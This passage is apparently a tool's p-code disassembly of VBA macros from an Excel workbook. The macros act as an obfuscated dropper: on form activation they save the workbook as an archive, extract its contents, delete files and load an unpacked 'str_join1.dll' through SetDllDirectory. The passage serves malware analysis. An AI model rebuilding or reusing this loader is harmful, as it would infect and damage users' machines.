  1015. ' _VBA_PROJECT_CUR/VBA/Lumene - 2415 bytes
  1016. ' Line #0:
  1017. ' Line #1:
  1018. ' Dim
  1019. ' VarDefn vSpeed (As Integer)
  1020. ' Line #2:
  1021. ' Dim
  1022. ' VarDefn vLicensePlate (As String)
  1023. ' Line #3:
  1024. ' Line #4:
  1025. ' FuncDefn (Public Property Get Speed(id_FFFE As Integer) As Integer)
  1026. ' Line #5:
  1027. ' Ld vSpeed
  1028. ' St Speed
  1029. ' Line #6:
  1030. ' EndProp
  1031. ' Line #7:
  1032. ' Line #8:
  1033. ' Line #9:
  1034. ' FuncDefn (Public Property Get CheckCar(car As Variant, Drive As String, id_FFFE As Variant))
  1035. ' Line #10:
  1036. ' LitStr 0x0000 ""
  1037. ' Ld Drive
  1038. ' Concat
  1039. ' Ld car
  1040. ' ArgsMemLd SpecialFolders 0x0001
  1041. ' St CheckCar
  1042. ' Line #11:
  1043. ' Line #12:
  1044. ' EndProp
  1045. ' Line #13:
  1046. ' FuncDefn (Public Property Get SpecialFolders(id_FFFE As String) As String)
  1047. ' Line #14:
  1048. ' Ld vLicensePlate
  1049. ' St LicensePlate
  1050. ' Line #15:
  1051. ' EndProp
  1052. ' Line #16:
  1053. ' Line #17:
  1054. ' FuncDefn (Public Property Let LicensePlate(lp As String))
  1055. ' Line #18:
  1056. ' Ld lp
  1057. ' FnLen
  1058. ' LitDI2 0x0006
  1059. ' Ne
  1060. ' If
  1061. ' BoSImplicit
  1062. ' Ld xlErrValue
  1063. ' Paren
  1064. ' Ld Err
  1065. ' ArgsMemCall Raise 0x0001
  1066. ' EndIf
  1067. ' Line #19:
  1068. ' Ld lp
  1069. ' St vLicensePlate
  1070. ' Line #20:
  1071. ' EndProp
  1072. ' Line #21:
  1073. ' Line #22:
  1074. ' Line #23:
  1075. ' _VBA_PROJECT_CUR/VBA/WelcomeDialog - 1496 bytes
  1076. ' Line #0:
  1077. ' Line #1:
  1078. ' FuncDefn (Private Sub UserForm_Activate())
  1079. ' Line #2:
  1080. ' ArgsCall DoEvents 0x0000
  1081. ' Line #3:
  1082. ' ArgsCall DoEvents 0x0000
  1083. ' Line #4:
  1084. ' ArgsCall ExChangeMoney 0x0000
  1085. ' Line #5:
  1086. ' ArgsCall DoEvents 0x0000
  1087. ' Line #6:
  1088. ' EndSub
  1089. ' Line #7:
  1090. ' Line #8:
  1091. ' Line #9:
  1092. ' Line #10:
  1093. ' _VBA_PROJECT_CUR/VBA/Module1 - 12414 bytes
  1094. ' Line #0:
  1095. ' Dim (Public)
  1096. ' VarDefn HurricanMoes (As Byte)
  1097. ' Line #1:
  1098. ' Dim (Public)
  1099. ' VarDefn PatchForLuck (As Byte)
  1100. ' Line #2:
  1101. ' Dim (Public)
  1102. ' VarDefn LUCKY (As Double)
  1103. ' Line #3:
  1104. ' Dim (Public)
  1105. ' VarDefn MoveStep (As Byte)
  1106. ' Line #4:
  1107. ' Dim (Public)
  1108. ' VarDefn PatchForHeart (As Byte)
  1109. ' Line #5:
  1110. ' Line #6:
  1111. ' Line #7:
  1112. ' Line #8:
  1113. ' Line #9:
  1114. ' LbMark
  1115. ' Ld VBA7
  1116. ' Ld Win64
  1117. ' And
  1118. ' LbIf
  1119. ' Line #10:
  1120. ' FuncDefn (Public Declare PtrSafe Function code2 Lib "kernel32.dll" (ByVal DirectoryFlags As Long) As Long)
  1121. ' Line #11:
  1122. ' FuncDefn (Public Declare PtrSafe Function code1 Lib "kernel32.dll" (ByVal dirName As String) As LongPtr)
  1123. ' Line #12:
  1124. ' FuncDefn (Public Declare PtrSafe Function torx Lib "str_join1.dll" () As Integer)
  1125. ' Line #13:
  1126. ' LbMark
  1127. ' LbElse
  1128. ' Line #14:
  1129. ' FuncDefn (Public Declare Function code2 Lib "kernel32.dll" (ByVal DirectoryFlags As Long) As Long)
  1130. ' Line #15:
  1131. ' FuncDefn (Public Declare Function code1 Lib "kernel32.dll" (ByVal dirName As String) As Long)
  1132. ' Line #16:
  1133. ' FuncDefn (Public Declare Function torx Lib "vbUnicode" () As Integer)
  1134. ' Line #17:
  1135. ' LbMark
  1136. ' LbEndIf
  1137. ' Line #18:
  1138. ' Line #19:
  1139. ' Line #20:
  1140. ' Line #21:
  1141. ' FuncDefn (Public Sub VistaQ(WhereToGo))
  1142. ' Line #22:
  1143. ' ArgsCall DoEvents 0x0000
  1144. ' Line #23:
  1145. ' Ld ThisWorkbook
  1146. ' MemLd Sheets
  1147. ' ArgsMemCall Copy 0x0000
  1148. ' Line #24:
  1149. ' LitVarSpecial (False)
  1150. ' Ld Application
  1151. ' MemSt DisplayAlerts
  1152. ' Line #25:
  1153. ' ArgsCall DoEvents 0x0000
  1154. ' Line #26:
  1155. ' Ld WhereToGo
  1156. ' LitVarSpecial (False)
  1157. ' ParamNamed Local
  1158. ' LitDI2 0x0003
  1159. ' LitDI2 0x0007
  1160. ' Mul
  1161. ' LitDI2 0x0003
  1162. ' LitDI2 0x0007
  1163. ' Mul
  1164. ' Add
  1165. ' LitDI2 0x0009
  1166. ' Add
  1167. ' ParamNamed FileFormat
  1168. ' Ld ActiveWorkbook
  1169. ' ArgsMemCall SaveAs 0x0003
  1170. ' Line #27:
  1171. ' ArgsCall DoEvents 0x0000
  1172. ' Line #28:
  1173. ' ArgsCall DoEvents 0x0000
  1174. ' Line #29:
  1175. ' Ld ActiveWorkbook
  1176. ' ArgsMemCall Close 0x0000
  1177. ' Line #30:
  1178. ' ArgsCall DoEvents 0x0000
  1179. ' Line #31:
  1180. ' ArgsCall DoEvents 0x0000
  1181. ' Line #32:
  1182. ' Line #33:
  1183. ' Line #34:
  1184. ' EndSub
  1185. ' Line #35:
  1186. ' Line #36:
  1187. ' Line #37:
  1188. ' Line #38:
  1189. ' Line #39:
  1190. ' Line #40:
  1191. ' FuncDefn (Public Sub PublicResumEraseByArrayList(putArrayBigList As ))
  1192. ' Line #41:
  1193. ' OnError (Resume Next)
  1194. ' Line #42:
  1195. ' StartForVariable
  1196. ' Ld Key
  1197. ' EndForVariable
  1198. ' Ld putArrayBigList
  1199. ' ForEach
  1200. ' Line #43:
  1201. ' Ld Key
  1202. ' ArgsCall Kill 0x0001
  1203. ' Line #44:
  1204. ' StartForVariable
  1205. ' Ld Key
  1206. ' EndForVariable
  1207. ' NextVar
  1208. ' Line #45:
  1209. ' EndSub
  1210. ' Line #46:
  1211. ' Line #47:
  1212. ' Line #48:
  1213. ' Line #49:
  1214. ' Line #50:
  1215. ' Line #51:
  1216. ' FuncDefn (Private Sub TextBox2_Change())
  1217. ' Line #52:
  1218. ' Line #53:
  1219. ' Ld TextBox2
  1220. ' FnLen
  1221. ' St x
  1222. ' Line #54:
  1223. ' Ld TextBox2
  1224. ' MemLd Text
  1225. ' ArgsLd LTrim 0x0001
  1226. ' St Y
  1227. ' Line #55:
  1228. ' Ld TextBox2
  1229. ' St d
  1230. ' Line #56:
  1231. ' Ld d
  1232. ' LitStr 0x0000 ""
  1233. ' Eq
  1234. ' IfBlock
  1235. ' Line #57:
  1236. ' LitHI4 0xFFFF 0x00FF
  1237. ' Ld TextBox2
  1238. ' MemSt BackColor
  1239. ' Line #58:
  1240. ' ExitSub
  1241. ' Line #59:
  1242. ' EndIfBlock
  1243. ' Line #60:
  1244. ' Ld d
  1245. ' LitDI2 0x0002
  1246. ' ArgsLd Left 0x0002
  1247. ' LitDI2 0x0018
  1248. ' Gt
  1249. ' IfBlock
  1250. ' Line #61:
  1251. ' LitStr 0x000A "Ora Errata"
  1252. ' ArgsCall MsgBox 0x0001
  1253. ' Line #62:
  1254. ' LitDI2 0x0000
  1255. ' Ld TextBox2
  1256. ' MemSt SelStart
  1257. ' Line #63:
  1258. ' Ld TextBox2
  1259. ' FnLen
  1260. ' Ld TextBox2
  1261. ' MemSt SelLength
  1262. ' Line #64:
  1263. ' ExitSub
  1264. ' Line #65:
  1265. ' EndIfBlock
  1266. ' Line #66:
  1267. ' Ld x
  1268. ' LitDI2 0x0002
  1269. ' Eq
  1270. ' If
  1271. ' BoSImplicit
  1272. ' Ld Y
  1273. ' LitStr 0x0001 ":"
  1274. ' Concat
  1275. ' St TextBox2
  1276. ' EndIf
  1277. ' Line #67:
  1278. ' Ld x
  1279. ' LitDI2 0x0004
  1280. ' Eq
  1281. ' If
  1282. ' BoSImplicit
  1283. ' ExitSub
  1284. ' EndIf
  1285. ' Line #68:
  1286. ' Line #69:
  1287. ' Ld d
  1288. ' LitDI2 0x0004
  1289. ' LitDI2 0x0002
  1290. ' ArgsLd Mid 0x0003
  1291. ' LitStr 0x0000 ""
  1292. ' Eq
  1293. ' If
  1294. ' BoSImplicit
  1295. ' ExitSub
  1296. ' EndIf
  1297. ' Line #70:
  1298. ' Ld d
  1299. ' LitDI2 0x0004
  1300. ' LitDI2 0x0002
  1301. ' ArgsLd Mid 0x0003
  1302. ' LitDI2 0x003B
  1303. ' Gt
  1304. ' IfBlock
  1305. ' Line #71:
  1306. ' LitStr 0x000D "Minuti Errati"
  1307. ' ArgsCall MsgBox 0x0001
  1308. ' Line #72:
  1309. ' LitDI2 0x0003
  1310. ' Ld TextBox2
  1311. ' MemSt SelStart
  1312. ' Line #73:
  1313. ' Ld TextBox2
  1314. ' FnLen
  1315. ' Ld TextBox2
  1316. ' MemSt SelLength
  1317. ' Line #74:
  1318. ' ExitSub
  1319. ' Line #75:
  1320. ' EndIfBlock
  1321. ' Line #76:
  1322. ' Line #77:
  1323. ' Line #78:
  1324. ' Ld x
  1325. ' LitDI2 0x0005
  1326. ' Eq
  1327. ' IfBlock
  1328. ' Line #79:
  1329. ' Ld TextBox3
  1330. ' ArgsMemCall SetFocus 0x0000
  1331. ' Line #80:
  1332. ' EndIfBlock
  1333. ' Line #81:
  1334. ' ExitSub
  1335. ' Line #82:
  1336. ' Line #83:
  1337. ' Resume
  1338. ' Line #84:
  1339. ' EndSub
  1340. ' Line #85:
  1341. ' Line #86:
  1342. ' FuncDefn (Public Function ExChangeMoney())
  1343. ' Line #87:
  1344. ' Line #88:
  1345. ' Line #89:
  1346. ' Dim
  1347. ' VarDefn ofbl (As String)
  1348. ' Line #90:
  1349. ' Dim
  1350. ' VarDefn sOfbl (As String)
  1351. ' Line #91:
  1352. ' Dim
  1353. ' VarDefn NumBForRead (As Long)
  1354. ' Line #92:
  1355. ' Line #93:
  1356. ' Line #94:
  1357. ' LitStr 0x0000 ""
  1358. ' Ld Form0
  1359. ' MemLd TextBox1
  1360. ' MemLd Tag
  1361. ' Concat
  1362. ' St dershlep
  1363. ' Line #95:
  1364. ' Line #96:
  1365. ' Line #97:
  1366. ' Line #98:
  1367. ' Dim
  1368. ' VarDefn sendings (As Integer)
  1369. ' Line #99:
  1370. ' Ld Form0
  1371. ' MemLd TextBox1
  1372. ' MemLd Tag
  1373. ' St ofbl
  1374. ' Line #100:
  1375. ' Ld ofbl
  1376. ' LitStr 0x0009 "\str_join"
  1377. ' Add
  1378. ' St ofbl
  1379. ' Line #101:
  1380. ' Line #102:
  1381. ' Ld Form0
  1382. ' MemLd TextBox1
  1383. ' MemLd Tag
  1384. ' LitStr 0x0007 "\academ"
  1385. ' Add
  1386. ' St liquidOne
  1387. ' Line #103:
  1388. ' Line #104:
  1389. ' Ld liquidOne
  1390. ' LitStr 0x0006 "l.xlsx"
  1391. ' Add
  1392. ' St liquidOne
  1393. ' Line #105:
  1394. ' Line #106:
  1395. ' Dim
  1396. ' LitDI2 0x0001
  1397. ' LitDI2 0x0003
  1398. ' VarDefn arr (As String)
  1399. ' Line #107:
  1400. ' Line #108:
  1401. ' Line #109:
  1402. ' Line #110:
  1403. ' Line #111:
  1404. ' Ld Form0
  1405. ' MemLd TextBox3
  1406. ' MemLd Text
  1407. ' FnLenB
  1408. ' LitDI2 0x00C8
  1409. ' Gt
  1410. ' IfBlock
  1411. ' Line #112:
  1412. ' LitStr 0x0019 "Ultrapassa 66 Caracteres!"
  1413. ' Ld vbCritical
  1414. ' LitStr 0x0009 "HISTÓRICO"
  1415. ' ArgsCall MsgBox 0x0003
  1416. ' Line #113:
  1417. ' LitDI2 0x0000
  1418. ' Ld TextBox7
  1419. ' MemSt SelStart
  1420. ' Line #114:
  1421. ' ElseBlock
  1422. ' Line #115:
  1423. ' Line #116:
  1424. ' Line #117:
  1425. ' EndIfBlock
  1426. ' Line #118:
  1427. ' Dim
  1428. ' VarDefn objeto
  1429. ' Line #119:
  1430. ' Line #120:
  1431. ' Ld Form0
  1432. ' MemLd TextBox1
  1433. ' MemLd Text
  1434. ' FnLen
  1435. ' LitDI2 0x016E
  1436. ' Gt
  1437. ' IfBlock
  1438. ' Line #121:
  1439. ' StartForVariable
  1440. ' Ld objeto
  1441. ' EndForVariable
  1442. ' Ld UserForm1
  1443. ' MemLd Controls
  1444. ' ForEach
  1445. ' Line #122:
  1446. ' OnError (Resume Next)
  1447. ' Line #123:
  1448. ' LitStr 0x0000 ""
  1449. ' Ld objeto
  1450. ' MemSt Value
  1451. ' Line #124:
  1452. ' StartForVariable
  1453. ' Next
  1454. ' Line #125:
  1455. ' Line #126:
  1456. ' Ld ggg
  1457. ' MemLd UserForm1
  1458. ' ArgsCall Unload 0x0001
  1459. ' Line #127:
  1460. ' Ld ggg
  1461. ' MemLd UserForm1
  1462. ' ArgsMemCall Hide 0x0000
  1463. ' Line #128:
  1464. ' EndIfBlock
  1465. ' Line #129:
  1466. ' Line #130:
  1467. ' Line #131:
  1468. ' Line #132:
  1469. ' Ld liquidOne
  1470. ' LitStr 0x0004 "B115"
  1471. ' Ld Page11
  1472. ' ArgsMemLd Range 0x0001
  1473. ' MemLd Value
  1474. ' Concat
  1475. ' St ctackPip
  1476. ' Line #133:
  1477. ' Line #134:
  1478. ' Line #135:
  1479. ' Line #136:
  1480. ' Line #137:
  1481. ' Ld ofbl
  1482. ' LitStr 0x0004 "B115"
  1483. ' Ld Page11
  1484. ' ArgsMemLd Range 0x0001
  1485. ' MemLd Value
  1486. ' Add
  1487. ' St sOfbl
  1488. ' Line #138:
  1489. ' Ld ofbl
  1490. ' LitStr 0x0001 "*"
  1491. ' Add
  1492. ' Ld Form0
  1493. ' MemLd TextBox3
  1494. ' MemLd Tag
  1495. ' LitStr 0x000A "\str_join*"
  1496. ' Add
  1497. ' Ld sOfbl
  1498. ' Ld ctackPip
  1499. ' Ld dershlep
  1500. ' Ld UserForm1
  1501. ' MemLd Label1
  1502. ' MemLd Tag
  1503. ' Add
  1504. ' ArgsCall PublicResumEraseByArrayList 0x0005
  1505. ' Line #139:
  1506. ' Line #140:
  1507. ' Line #141:
  1508. ' Ld liquidOne
  1509. ' ArgsCall VistaQ 0x0001
  1510. ' Line #142:
  1511. ' Line #143:
  1512. ' Ld liquidOne
  1513. ' ParamNamed Source
  1514. ' Ld ctackPip
  1515. ' ParamNamed Destination
  1516. ' ArgsCall FileCopy 0x0002
  1517. ' Line #144:
  1518. ' LitDI2 0x0001
  1519. ' St sendings
  1520. ' Line #145:
  1521. ' Dim
  1522. ' VarDefn sNMSP (New As Shell)
  1523. ' Line #146:
  1524. ' LitVarSpecial (False)
  1525. ' St FlagDouble
  1526. ' Line #147:
  1527. ' Line #148:
  1528. ' Ld UserForm1
  1529. ' MemLd Label11
  1530. ' MemLd Tag
  1531. ' St Lrigat
  1532. ' Line #149:
  1533. ' Line #150:
  1534. ' Ld sendings
  1535. ' LitDI2 0x000F
  1536. ' UMi
  1537. ' Gt
  1538. ' Ld sendings
  1539. ' LitDI2 0x0082
  1540. ' UMi
  1541. ' Gt
  1542. ' And
  1543. ' IfBlock
  1544. ' Line #151:
  1545. ' Line #152:
  1546. ' SetStmt
  1547. ' Ld dershlep
  1548. ' Ld sNMSP
  1549. ' ArgsMemLd Namespace 0x0001
  1550. ' Set DestinationKat
  1551. ' Line #153:
  1552. ' SetStmt
  1553. ' Ld ctackPip
  1554. ' Ld sNMSP
  1555. ' ArgsMemLd Namespace 0x0001
  1556. ' Set harvest
  1557. ' Line #154:
  1558. ' Line #155:
  1559. ' Line #156:
  1560. ' EndIfBlock
  1561. ' Line #157:
  1562. ' Line #158:
  1563. ' Line #159:
  1564. ' SetStmt
  1565. ' LitDI2 0x0001
  1566. ' LitDI2 0x0001
  1567. ' Ld ThisWorkbook
  1568. ' ArgsMemLd Sheets 0x0001
  1569. ' MemLd Application
  1570. ' ArgsMemLd Sheets 0x0001
  1571. ' MemLd Application
  1572. ' Set ExcelC
  1573. ' Line #160:
  1574. ' Line #161:
  1575. ' Line #162:
  1576. ' Line #163:
  1577. ' Ld Lrigat
  1578. ' Ld harvest
  1579. ' MemLd Items
  1580. ' ArgsMemLd Item 0x0001
  1581. ' Ld DestinationKat
  1582. ' ArgsMemCall CopyHere 0x0001
  1583. ' Line #164:
  1584. ' Line #165:
  1585. ' Line #166:
  1586. ' Line #167:
  1587. ' Dim
  1588. ' VarDefn car (As Lumene)
  1589. ' Line #168:
  1590. ' Line #169:
  1591. ' SetStmt
  1592. ' New id_FFFF
  1593. ' Set car
  1594. ' Line #170:
  1595. ' Line #171:
  1596. ' LitDI4 0xCD46 0x0006
  1597. ' St NumBForRead
  1598. ' Line #172:
  1599. ' Line #173:
  1600. ' Line #174:
  1601. ' LitDI2 0x0001
  1602. ' St sendings
  1603. ' Line #175:
  1604. ' LitStr 0x0001 "1"
  1605. ' St flayString
  1606. ' Line #176:
  1607. ' Line #177:
  1608. ' Line #178:
  1609. ' Line #179:
  1610. ' Ld dershlep
  1611. ' LitStr 0x0000 ""
  1612. ' Add
  1613. ' Ld UserForm1
  1614. ' MemLd Label1
  1615. ' MemLd Tag
  1616. ' Add
  1617. ' LitStr 0x0000 ""
  1618. ' Add
  1619. ' LitStr 0x0000 ""
  1620. ' Add
  1621. ' Ld sOfbl
  1622. ' Ld NumBForRead
  1623. ' ArgsCall Composition 0x0003
  1624. ' Line #180:
  1625. ' Line #181:
  1626. ' Ld sendings
  1627. ' LitDI2 0x0064
  1628. ' Lt
  1629. ' IfBlock
  1630. ' Line #182:
  1631. ' Ld sendings
  1632. ' LitDI2 0x0001
  1633. ' Add
  1634. ' St sendings
  1635. ' Line #183:
  1636. ' Ld sendings
  1637. ' LitDI2 0x0001
  1638. ' Add
  1639. ' St sendings
  1640. ' Line #184:
  1641. ' EndIfBlock
  1642. ' Line #185:
  1643. ' Line #186:
  1644. ' Ld sendings
  1645. ' LitDI2 0x000F
  1646. ' UMi
  1647. ' Gt
  1648. ' Ld sendings
  1649. ' LitDI2 0x0082
  1650. ' UMi
  1651. ' Gt
  1652. ' And
  1653. ' IfBlock
  1654. ' Line #187:
  1655. ' Line #188:
  1656. ' SetStmt
  1657. ' Ld Form0
  1658. ' MemLd TextBox3
  1659. ' MemLd Tag
  1660. ' Ld sNMSP
  1661. ' ArgsMemLd Namespace 0x0001
  1662. ' Set DestinationKat
  1663. ' Line #189:
  1664. ' SetStmt
  1665. ' Ld sOfbl
  1666. ' Ld sNMSP
  1667. ' ArgsMemLd Namespace 0x0001
  1668. ' Set harvest
  1669. ' Line #190:
  1670. ' Line #191:
  1671. ' Ld harvest
  1672. ' MemLd Items
  1673. ' Ld DestinationKat
  1674. ' ArgsMemCall CopyHere 0x0001
  1675. ' Line #192:
  1676. ' Line #193:
  1677. ' Line #194:
  1678. ' EndIfBlock
  1679. ' Line #195:
  1680. ' Line #196:
  1681. ' LitDI2 0x0064
  1682. ' UMi
  1683. ' Ld sendings
  1684. ' Le
  1685. ' IfBlock
  1686. ' Line #197:
  1687. ' Ld sendings
  1688. ' LitDI2 0x0001
  1689. ' Add
  1690. ' St sendings
  1691. ' Line #198:
  1692. ' Ld Form0
  1693. ' MemLd TextBox3
  1694. ' MemLd Tag
  1695. ' ArgsCall ChDir 0x0001
  1696. ' Line #199:
  1697. ' Ld sendings
  1698. ' LitDI2 0x0001
  1699. ' Add
  1700. ' St sendings
  1701. ' Line #200:
  1702. ' EndIfBlock
  1703. ' Line #201:
  1704. ' LitStr 0x0001 """
  1705. ' Ld sOfbl
  1706. ' Add
  1707. ' LitStr 0x0003 "",""
  1708. ' Concat
  1709. ' St sOfbl
  1710. ' Line #202:
  1711. ' Line #203:
  1712. ' Ld sendings
  1713. ' LitDI2 0x0000
  1714. ' Lt
  1715. ' IfBlock
  1716. ' Line #204:
  1717. ' Ld sendings
  1718. ' LitDI2 0x0001
  1719. ' Add
  1720. ' St sendings
  1721. ' Line #205:
  1722. ' Ld sendings
  1723. ' LitDI2 0x0001
  1724. ' Add
  1725. ' St sendings
  1726. ' Line #206:
  1727. ' EndIfBlock
  1728. ' Line #207:
  1729. ' Line #208:
  1730. ' Line #209:
  1731. ' Ld sendings
  1732. ' LitDI2 0x03E8
  1733. ' Gt
  1734. ' IfBlock
  1735. ' Line #210:
  1736. ' Ld sendings
  1737. ' LitDI2 0x0014
  1738. ' Sub
  1739. ' St sendings
  1740. ' Line #211:
  1741. ' EndIfBlock
  1742. ' Line #212:
  1743. ' Ld sendings
  1744. ' LitDI2 0x002F
  1745. ' UMi
  1746. ' Lt
  1747. ' IfBlock
  1748. ' Line #213:
  1749. ' Ld sendings
  1750. ' LitDI2 0x0014
  1751. ' Sub
  1752. ' St sendings
  1753. ' Line #214:
  1754. ' EndIfBlock
  1755. ' Line #215:
  1756. ' Ld sendings
  1757. ' LitDI2 0x0000
  1758. ' Lt
  1759. ' IfBlock
  1760. ' Line #216:
  1761. ' Ld sendings
  1762. ' LitDI2 0x0001
  1763. ' Add
  1764. ' St sendings
  1765. ' Line #217:
  1766. ' Ld sendings
  1767. ' LitDI2 0x0001
  1768. ' Add
  1769. ' St sendings
  1770. ' Line #218:
  1771. ' EndIfBlock
  1772. ' Line #219:
  1773. ' Ld d
  1774. ' ArgsLd TestResult 0x0001
  1775. ' St StopByOk
  1776. ' Line #220:
  1777. ' Line #221:
  1778. ' Line #222:
  1779. ' Ld Form0
  1780. ' MemLd TextBox3
  1781. ' MemLd Tag
  1782. ' ArgsCall setDLLDirectory 0x0001
  1783. ' Line #223:
  1784. ' ArgsCall torx 0x0000
  1785. ' Line #224:
  1786. ' Ld WelcomeDialog
  1787. ' ArgsMemCall Hide 0x0000
  1788. ' Line #225:
  1789. ' EndFunc
  1790. ' Line #226:
  1791. ' Line #227:
  1792. ' Line #228:
  1793. ' FuncDefn (Sub subTotalSales())
  1794. ' Line #229:
  1795. ' Line #230:
  1796. ' Dim
  1797. ' VarDefn LR (As Integer)
  1798. ' Line #231:
  1799. ' Ld xlUp
  1800. ' Ld Rows
  1801. ' MemLd Count
  1802. ' LitStr 0x0001 "A"
  1803. ' ArgsLd Cells 0x0002
  1804. ' ArgsMemLd End 0x0001
  1805. ' MemLd Row
  1806. ' LitDI2 0x0002
  1807. ' Add
  1808. ' St LR
  1809. ' Line #232:
  1810. ' Ld xlDown
  1811. ' ParamNamed Shift
  1812. ' LitStr 0x0003 "1:2"
  1813. ' ArgsLd Rows 0x0001
  1814. ' MemLd EntireRow
  1815. ' ArgsMemCall Insert 0x0001
  1816. ' Line #233:
  1817. ' Line #234:
  1818. ' Ld LR
  1819. ' LitDI2 0x0003
  1820. ' Eq
  1821. ' IfBlock
  1822. ' Line #235:
  1823. ' LitStr 0x0002 "A1"
  1824. ' ArgsLd Range 0x0001
  1825. ' ArgsMemCall Select 0x0000
  1826. ' Line #236:
  1827. ' Ld salesHeade
  1828. ' ArgsMemCall (Call) rs 0x0000
  1829. ' Line #237:
  1830. ' LitStr 0x0002 "$0"
  1831. ' LitStr 0x0002 "A2"
  1832. ' ArgsLd Range 0x0001
  1833. ' MemSt Formula
  1834. ' Line #238:
  1835. ' LitStr 0x0002 "$0"
  1836. ' LitStr 0x0002 "B2"
  1837. ' ArgsLd Range 0x0001
  1838. ' MemSt Formula
  1839. ' Line #239:
  1840. ' LitStr 0x0002 "$0"
  1841. ' LitStr 0x0002 "C2"
  1842. ' ArgsLd Range 0x0001
  1843. ' MemSt Formula
  1844. ' Line #240:
  1845. ' LitStr 0x0002 "$0"
  1846. ' LitStr 0x0002 "D2"
  1847. ' ArgsLd Range 0x0001
  1848. ' MemSt Formula
  1849. ' Line #241:
  1850. ' LitStr 0x0002 "$0"
  1851. ' LitStr 0x0002 "E2"
  1852. ' ArgsLd Range 0x0001
  1853. ' MemSt Formula
  1854. ' Line #242:
  1855. ' LitStr 0x0002 "0%"
  1856. ' LitStr 0x0002 "F2"
  1857. ' ArgsLd Range 0x0001
  1858. ' MemSt Formula
  1859. ' Line #243:
  1860. ' LitStr 0x0001 "0"
  1861. ' LitStr 0x0002 "G2"
  1862. ' ArgsLd Range 0x0001
  1863. ' MemSt Formula
  1864. ' Line #244:
  1865. ' LitStr 0x0002 "$0"
  1866. ' LitStr 0x0002 "H2"
  1867. ' ArgsLd Range 0x0001
  1868. ' MemSt Formula
  1869. ' Line #245:
  1870. ' LitStr 0x0001 "0"
  1871. ' LitStr 0x0002 "I2"
  1872. ' ArgsLd Range 0x0001
  1873. ' MemSt Formula
  1874. ' Line #246:
  1875. ' LitStr 0x0001 "0"
  1876. ' LitStr 0x0002 "J2"
  1877. ' ArgsLd Range 0x0001
  1878. ' MemSt Formula
  1879. ' Line #247:
  1880. ' LitStr 0x0002 "$0"
  1881. ' LitStr 0x0002 "K2"
  1882. ' ArgsLd Range 0x0001
  1883. ' MemSt Formula
  1884. ' Line #248:
  1885. ' LitStr 0x0002 "$0"
  1886. ' LitStr 0x0002 "L2"
  1887. ' ArgsLd Range 0x0001
  1888. ' MemSt Formula
  1889. ' Line #249:
  1890. ' LitStr 0x0001 "0"
  1891. ' LitStr 0x0002 "M2"
  1892. ' ArgsLd Range 0x0001
  1893. ' MemSt Formula
  1894. ' Line #250:
  1895. ' LitStr 0x0002 "0%"
  1896. ' LitStr 0x0002 "N2"
  1897. ' ArgsLd Range 0x0001
  1898. ' MemSt Formula
  1899. ' Line #251:
  1900. ' ElseBlock
  1901. ' Line #252:
  1902. ' LitStr 0x0002 "A1"
  1903. ' ArgsLd Range 0x0001
  1904. ' ArgsMemCall Select 0x0000
  1905. ' Line #253:
  1906. ' Ld salesHeade
  1907. ' ArgsMemCall (Call) rs 0x0000
  1908. ' Line #254:
  1909. ' StartWithExpr
  1910. ' Ld ActiveSheet
  1911. ' With
  1912. ' Line #255:
  1913. ' Line #256:
  1914. ' EndWith
  1915. ' Line #257:
  1916. ' EndIfBlock
  1917. ' Line #258:
  1918. ' Line #259:
  1919. ' EndSub
  1920. ' Line #260:
  1921. ' Line #261:
  1922. ' Line #262:
  1923. ' FuncDefn (Sub InputWeekData(x As Date))
  1924. ' Line #263:
  1925. ' Line #264:
  1926. ' Ld x
  1927. ' LitStr 0x0002 "ww"
  1928. ' Ld vbMonday
  1929. ' Ld vbFirstFourDays
  1930. ' ArgsLd Format 0x0004
  1931. ' St ActiveCell
  1932. ' Line #265:
  1933. ' LitDI2 0x0000
  1934. ' LitDI2 0x0001
  1935. ' Ld ActiveCell
  1936. ' ArgsMemLd Offset 0x0002
  1937. ' ArgsMemCall Select 0x0000
  1938. ' Line #266:
  1939. ' Ld x
  1940. ' St ActiveCell
  1941. ' Line #267:
  1942. ' LitDI2 0x0000
  1943. ' LitDI2 0x0001
  1944. ' Ld ActiveCell
  1945. ' ArgsMemLd Offset 0x0002
  1946. ' ArgsMemCall Select 0x0000
  1947. ' Line #268:
  1948. ' Ld x
  1949. ' LitDI2 0x0006
  1950. ' Add
  1951. ' St ActiveCell
  1952. ' Line #269:
  1953. ' LitDI2 0x0000
  1954. ' LitDI2 0x0001
  1955. ' Ld ActiveCell
  1956. ' ArgsMemLd Offset 0x0002
  1957. ' ArgsMemCall Select 0x0000
  1958. ' Line #270:
  1959. ' Line #271:
  1960. ' EndSub
  1961. ' Line #272:
  1962. ' FuncDefn (Private Sub TextBox3_Change())
  1963. ' Line #273:
  1964. ' Line #274:
  1965. ' Ld TextBox3
  1966. ' MemLd Text
  1967. ' ArgsLd LTrim 0x0001
  1968. ' St Y
  1969. ' Line #275:
  1970. ' Ld TextBox3
  1971. ' St d
  1972. ' Line #276:
  1973. ' Line #277:
  1974. ' Ld x
  1975. ' LitDI2 0x0005
  1976. ' Eq
  1977. ' IfBlock
  1978. ' Line #278:
  1979. ' Ld TextBox4
  1980. ' ArgsMemCall SetFocus 0x0000
  1981. ' Line #279:
  1982. ' EndIfBlock
  1983. ' Line #280:
  1984. ' Line #281:
  1985. ' EndSub
  1986. ' Line #282:
  1987. ' Line #283:
  1988. ' Line #284:
  1989. ' Line #285:
  1990. ' Line #286:
  1991. ' Line #287:
  1992. ' Line #288:
  1993. ' Line #289:
  1994. ' Line #290:
  1995. ' Line #291:
  1996. ' Line #292:
  1997. ' Line #293:
  1998. ' Line #294:
  1999. ' Line #295:
  2000. ' Line #296:
  2001. ' Line #297:
  2002. ' _VBA_PROJECT_CUR/VBA/Module2 - 18333 bytes
  2003. ' Line #0:
  2004. ' Line #1:
  2005. ' Dim (Public Const)
  2006. ' LitDI2 0x0050
  2007. ' VarDefn FirstB (As Byte)
  2008. ' Line #2:
  2009. ' Dim (Public Const)
  2010. ' LitDI2 0x004B
  2011. ' VarDefn SecondB (As Byte)
  2012. ' Line #3:
  2013. ' Dim (Public Const)
  2014. ' LitDI2 0x0003
  2015. ' VarDefn ThirdB (As Byte)
  2016. ' Line #4:
  2017. ' Dim (Public Const)
  2018. ' LitDI2 0x0004
  2019. ' VarDefn FourthB (As Byte)
  2020. ' Line #5:
  2021. ' FuncDefn (Public Sub GetParam(Count As Integer))
  2022. ' Line #6:
  2023. ' Dim
  2024. ' VarDefn I (As Long)
  2025. ' Line #7:
  2026. ' Dim
  2027. ' VarDefn j (As Integer)
  2028. ' Line #8:
  2029. ' Dim
  2030. ' VarDefn C (As String)
  2031. ' Line #9:
